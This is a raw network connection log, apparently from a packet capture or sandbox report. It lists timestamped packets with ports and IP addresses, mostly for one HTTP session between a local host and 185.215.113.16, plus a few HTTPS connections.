Nov 25, 2024 14:14:53.831056118 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.832143068 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.832231998 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.832257032 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.832300901 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.832808018 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.832818985 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.832868099 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.832885981 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.833852053 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.833868980 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.833903074 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.833920956 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.834861040 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.834916115 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.835105896 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.835151911 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.835357904 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.835618019 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.836179972 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.836189985 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.836199999 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.836236954 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.836261034 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.837132931 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.837176085 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.837214947 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.837320089 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.838103056 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.838114977 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.838154078 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.839035034 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.839046955 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.839087963 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.839106083 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.839895010 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.839948893 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.840325117 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.840365887 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.840950012 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.840961933 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.840998888 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.842051029 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.842108011 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.842861891 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.842871904 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.842884064 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.842912912 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.842941046 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.843883038 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.843894005 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.843951941 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.844445944 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.844458103 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.844491005 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.844508886 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.845288038 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.845341921 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.845735073 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.845782042 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.846123934 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.846370935 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.846393108 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.846432924 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.847100019 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.847114086 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.847146988 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.847162962 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.847820997 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.847863913 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.847888947 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.847929001 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.848789930 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.848861933 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.867943048 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.868015051 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.868227959 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.868238926 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.868252039 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.868272066 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.868383884 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.869015932 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.869034052 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.869069099 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.869790077 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.869801998 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.869870901 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.869880915 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.869914055 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.870496035 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.870562077 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.870659113 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.871206045 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.871217012 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.871258974 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.871685028 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.871696949 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.871726990 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.871751070 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.872611046 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.872675896 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.872699022 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.872750998 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.873406887 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.873419046 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.873455048 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.873478889 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.874375105 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.874387026 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.874419928 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.874439955 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.875370979 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.875452995 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.875483990 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.875523090 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.876292944 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.876334906 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.876645088 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.876859903 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.877747059 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.877799988 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.878196001 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.878258944 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.879234076 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.879288912 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.879831076 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.879885912 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.881809950 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.881861925 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.881887913 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.881927013 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.883183002 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.883424044 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.883557081 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.883600950 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.883651018 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.883662939 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.883692980 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.883702993 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.884012938 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.884066105 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.884092093 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.884128094 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.884531975 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.884576082 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.884634018 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.884680033 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.884963989 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.885039091 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.885057926 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.885122061 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.920789003 CET	443	49884	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:53.921595097 CET	443	49884	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:53.921655893 CET	49884	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:53.925163984 CET	49884	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:53.925187111 CET	443	49884	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:54.021029949 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.021234035 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.021305084 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.021454096 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.021645069 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.021699905 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.022526026 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.022583008 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.022631884 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.022701979 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.023346901 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.023406029 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.023721933 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.023776054 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.024207115 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.024313927 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.024424076 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.024471998 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.025115013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.025134087 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.025156021 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.025176048 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.025918007 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.026113987 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.026218891 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.026276112 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.026913881 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.026967049 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.027266979 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.027384043 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.027745008 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.027844906 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.027973890 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.028018951 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.028595924 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.028650045 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.028657913 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.028733969 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.029572964 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.029683113 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.029748917 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.029891968 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.030400038 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.030443907 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.030571938 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.030648947 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.031380892 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.031457901 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.031615019 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.031662941 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.032217979 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.032315016 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.032656908 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.032789946 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.033126116 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.033184052 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.033363104 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.033535957 CET	443	49813	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:54.033577919 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.033606052 CET	443	49813	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:54.033725977 CET	49813	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:54.034006119 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.034046888 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.034096003 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.034203053 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.034857988 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.034907103 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.034993887 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.035087109 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.035945892 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.035959005 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.036102057 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.036669970 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.036730051 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.036926031 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.036969900 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.037544966 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.037594080 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.037661076 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.037733078 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.038544893 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.038741112 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.038763046 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.038820028 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.039401054 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.039450884 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.039550066 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.039602041 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.040302038 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.040425062 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.040483952 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.040538073 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.041194916 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.041244030 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.041383028 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.041435003 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.042076111 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.042130947 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.042171955 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.042321920 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.042984962 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.042995930 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.043040037 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.043889046 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.044004917 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.044040918 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.044059038 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.044800997 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.044863939 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.044872046 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.044965029 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.045655012 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.045712948 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.045814991 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.045953989 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.046150923 CET	443	49892	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:54.046514034 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.046583891 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.046787977 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.046963930 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.047148943 CET	49892	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:54.047173977 CET	443	49892	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:54.047444105 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.047523975 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.047575951 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.047734976 CET	49892	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:54.047741890 CET	443	49892	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:54.048429966 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.048496962 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.048563004 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.048641920 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.049279928 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.049336910 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.049514055 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.049643993 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.050080061 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.050133944 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.068192959 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.068203926 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.068216085 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.068253040 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.068293095 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.068308115 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.068355083 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.069025993 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.069262028 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.069291115 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.069453955 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.069945097 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.070033073 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.070095062 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.070142984 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.070754051 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.070806026 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.070924997 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.070971966 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.071611881 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.071693897 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.071777105 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.071830034 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.072555065 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.072602987 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.072654963 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.072705984 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.073581934 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.073687077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.073708057 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.073786020 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.074323893 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.074383020 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.074563980 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.074709892 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.075192928 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.075330973 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.075400114 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.076163054 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.076229095 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.076340914 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.076383114 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.077002048 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.077059031 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.077699900 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.077759981 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.078124046 CET	80	49885	185.215.113.16	192.168.2.5
